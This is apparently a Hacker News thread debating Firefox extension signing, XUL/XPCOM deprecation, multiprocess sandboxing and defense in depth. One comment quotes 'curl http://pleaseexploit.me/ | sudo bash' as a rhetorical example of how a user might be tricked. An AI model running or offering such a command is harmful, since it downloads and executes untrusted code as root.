[pcwalton]

> And why make it "safer" for the 99%, considering they have been able to live with the current situation for years?

It's hard for me to read this comment as anything other than "browser security is fine and people shouldn't bother trying to improve it".

[the8472]

Well, fixing security bugs obviously is necessary. But that doesn't mean that features should be thrown out of the window in the name of security.

And I was mostly referring to mozilla's tendency to nanny its users.

For example the argument for extension signing is that users can't decide for themselves what to install. And that even side-loading from the operating system would be too dangerous because some users could get tricked (in my book that's a people problem, not a software problem).

And again, the argument for whitelisted, locked-down APIs for extensions is security, that giving extensions the same powers as native applications (which don't have to be signed) is unacceptable. Again, reducing features in the name of security.

Fixing privilege escalation attacks and nannying users so they don't apply foot-guns are two quite separate approaches to security in my opinion. Especially since the latter is onerous on powerusers while the former is not.

The restrictions weren't necessary in the past, the situation was clearly good enough for millions to start using browsers. Why is it necessary now?

[pcwalton]

> The restrictions weren't necessary in the past, the situation was clearly good enough for millions to start using browsers. Why is it necessary now?

Much of the impetus for this change is to make sandboxing possible. You need to be a multiprocess browser to be a sandboxed browser. Multiprocess Firefox is incompatible with many of the things that addons are doing right now. So, this statement is equivalent to "we didn't need sandboxing before; why do we need it now?" Is that what you're arguing?

[the8472]

> Much of the impetus for this change is to make sandboxing possible.

The whole parade of extension signing, deprecating XUL, privileged extensions and XPCOM are all necessary to make sandboxed e10s processes work? I thought the child processes already are somewhat sandboxed right now.

> Multiprocess Firefox is incompatible with many of the things that addons are doing right now.

And yet a transition seems to be possible without telling developers "you will never ever be allowed to access internals again". It's more of an outreach thing "headsup, you should fix your addon".

And really, isn't that new deprecation and eventual no-AMO-approval policy equivalent to breaking them anyway? So why not just go ahead and break them and let those people tinker who don't mind occasional breakage.

> So, this statement is equivalent to "we didn't need sandboxing before; why do we need it now?" Is that what you're arguing?

To some extent, yes, but not quite. I'm asking why it is suddenly necessary to increase security at the expense of features.

But I'll follow that train of thought anyway: Is it necessary? Wouldn't it be sufficient to write safer, less exploitable software? Isn't that part of the goal of Rust for example?

[pcwalton]

> The whole parade of extension signing, deprecating XUL, privileged extensions and XPCOM are all necessary to make sandboxed e10s processes work? I thought the child processes already are somewhat sandboxed right now.

Reaching into content windows is forbidden in multiprocess Firefox. That alone is going to break tons of addons. This necessitates a redesign. Since a major redesign is necessary anyway, it makes sense to future-proof the architecture so that addons will work in perpetuity. Ultimately, this ends up being friendlier to addon developers, since addons will break once instead of again and again as the architecture evolves.

> Wouldn't it be sufficient to write safer, less exploitable software? Isn't that part of the goal of Rust for example?

A Rust-based browser engine will never replicate XUL and XPCOM, because no browser engine besides Gecko can replicate XUL and XPCOM. That is because XUL and XPCOM are too ill-specified and tied to the exact internals of Gecko. As long as add-ons are written to an unspecified, ad-hoc API, it'll be impossible to change the underlying technology, preventing adoption of things like Rust. In the end, that holds back browser security.

[brighteyes]

You make a good point that software not written in C++ might need less security hardening elsewhere.

But sadly, the reality is that Firefox, Chrome, Safari and Edge are all massive C++ codebases, with lots of security problems. Until we fix that, browsers will need to protect their users as best they can, and that means removing dangers like unsigned addons, overly-flexible addon APIs, and so forth.

Perhaps some users would be ok with a browser with less security and more flexibility. But by default, browsers should be safe, since 99% of users don't understand software and much less software security.

[mburns]

Just because we existed without them before doesn't mean the restrictions weren't needed.

We always needed Sandboxing and multi-process Firefox, even though we were able to get by without it for years. Likewise, side-loaded add-ons that can steal your information are a legit security threat, even if you think you're such a smart user that you could somehow avoid ever being burned by it.

[the8472]

> side-loaded add-ons that can steal your information are a legit security threat

How so? Sideloading means OS-level access. OS-level access means your whole user account is already compromised if it was malicious software.

There is no additional security gained by preventing side-loading after malicious software already got into your system.

If someone social-engineers you into "install this .xpi" they might as well manage to trick you into "run this .jar" or "run this .exe" or please "curl http://pleaseexploit.me/ | sudo bash" to check out our newest software!

[Tobu]

OSes are getting hardened with a per-app security model (instead of per-account which you describe). Hardening Firefox so that it won't compromise itself through XPI (which are opaque to the OS) is part of a defense in depth strategy. Security policies can prevent applications from scribbling over each other's memories as a general rule, whereas attaching security labels to profile directories requires targeted policies that are much more fragile and full of false positives.